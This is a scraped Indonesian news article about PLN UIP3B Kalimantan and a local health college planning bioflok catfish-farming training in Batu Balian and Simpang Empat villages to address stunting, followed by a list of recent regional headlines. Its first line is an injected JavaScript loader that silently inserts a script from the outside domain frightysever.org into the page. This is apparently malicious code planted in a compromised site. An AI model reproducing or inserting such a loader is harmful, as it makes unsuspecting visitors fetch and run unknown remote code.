(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PLN UIP3B KALIMANTAN

PLN Fasilitasi Pelatihan dan Pembuatan Budidaya Ikan Lele Sistem Bioflok


KANALKALIMANTAN.COM, MARTAPURA – Ketersedian bahan pangan lokal, warga Desa Batu Balian dan Desa Simpang Empat diberikan pemahaman budidaya ikan lele dengan menggunakan sistem bioflok.

Rencana budidaya ikan lele dengan sistem bioflok dibahas dalam Focus Group Discussion (FGD) berlangsung di kantor Desa Batu Balian, Kamis (7/12/2023) siang.

FGD tersebut diinisiasi Stikes Intan Martapura bersama PT PLN UIP3B Kalimantan menjalankan program kerjasama pengabdian masyarakat di Desa Batu Balian dan Desa Simpang Empat, Kecamatan Simpang Empat, Kabupaten Banjar.

Baca juga: Kolaborasi Stikes Intan Martapura-PLN Tangani Stunting di Simpang Empat

Diskusi terkait rencana pemberdayaan masyarakat itu membantu tersedianya bahan dan sumber pangan lokal yang mudah diperoleh. Perlu diketahaui, ikan menjadi salah satu bahan dasar olahan makanan bergizi yang dapat membantu permasalahan stunting.

Darma Indragiri, Assistent Manager TJSL PLN UIP3B Kalimantan mengatakan bahwa maksud dari FGD menyusul pelaksanaan lomba Kreasi Olahan Sehat Anti Stunting (Kosas) dengan bahan dasar ikan lele.

“Selanjutnya kita agendakan rencana pelatihan dan percontohan budidaya ikan lele melalui sistem bioflok,” kata Darma.

Baca juga: Banjarbaru Terang dengan 1.138 Titik PJU Sepanjang 2023

Pihaknya berharap dengan pelatihan itu nanti, budidaya ikan lele sistem bioflok dapat membantu ketersedian bahan pangan lokal untuk mengatasi permasalahan stunting di masing-masing desa.

Yusuf Ridho dari Komunitas Swadaya Masyarakat Tiga Bintang sebagai narasumber dari mitra PT PLN memberikan pengetahuan tentang pembuatan sistem bioflok budidaya ikan lele. Dia mengatakan, teknik bioflok untuk budidaya lele sangat banyak keuntungannya.

“Terutama tidak memerlukan lahan luas dan tidak perlu ribet, dengan teknik ini air kolam tidak bau dan panen lele tergolong cepat,” beber Yusuf Ridho.

Baca juga: Dinas PUPR Kalsel Raih Penghargaan dari IAI karena Dukung Pembangunan Infrastruktur

Setelah diskusi dan penjelasan dari narasumber, rencana budidaya ikan lele sistem bioflok disepakati untuk pelatihan dan percontohannya berada dua lokasi yaitu Desa Batu Balian dan Desa Simpang Empat. (Kanalkalimantan.com/nh)

Reporter : nh
Editor : bie


Muhammad Andi

Recent Posts

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

2 jam ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

3 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

4 jam ago

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

8 jam ago

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

11 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

1 hari ago

This website uses cookies.